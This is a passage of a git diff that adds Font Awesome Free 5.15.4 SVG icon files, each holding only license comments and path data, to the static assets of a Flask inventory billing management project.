256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dove.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dove.svg new file mode 100644 index 00000000..73812531 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dove.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/download.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/download.svg new file mode 100644 index 00000000..935e5ee9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/download.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drafting-compass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drafting-compass.svg new file mode 100644 index 00000000..02fe503c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drafting-compass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dragon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dragon.svg new file mode 100644 index 00000000..5becfc27 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dragon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/draw-polygon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/draw-polygon.svg new file mode 100644 index 00000000..00c894dd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/draw-polygon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum-steelpan.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum-steelpan.svg new file mode 100644 index 00000000..3122dd33 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum-steelpan.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum.svg new file mode 100644 index 00000000..5fd2ffc0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drum.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drumstick-bite.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drumstick-bite.svg new file mode 100644 index 00000000..5c4270c3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/drumstick-bite.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumbbell.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumbbell.svg new file mode 100644 index 00000000..c2772a01 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumbbell.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster-fire.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster-fire.svg new file mode 100644 index 00000000..7d203cb6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster-fire.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster.svg new file mode 100644 index 00000000..024e24f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dumpster.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dungeon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dungeon.svg new file mode 100644 index 00000000..530d6bf7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dungeon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/edit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/edit.svg new file mode 100644 index 00000000..ed5d106a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/edit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/egg.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/egg.svg new file mode 100644 index 00000000..942dfc97 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/egg.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eject.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eject.svg new file mode 100644 index 00000000..ba73e6dd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eject.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-h.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-h.svg new file mode 100644 index 00000000..5d8aad2e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-h.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-v.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-v.svg new file mode 100644 index 00000000..d2e1a36f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ellipsis-v.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open-text.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open-text.svg new file mode 100644 index 00000000..acb7305a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open-text.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open.svg new file mode 100644 index 00000000..00c7557a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 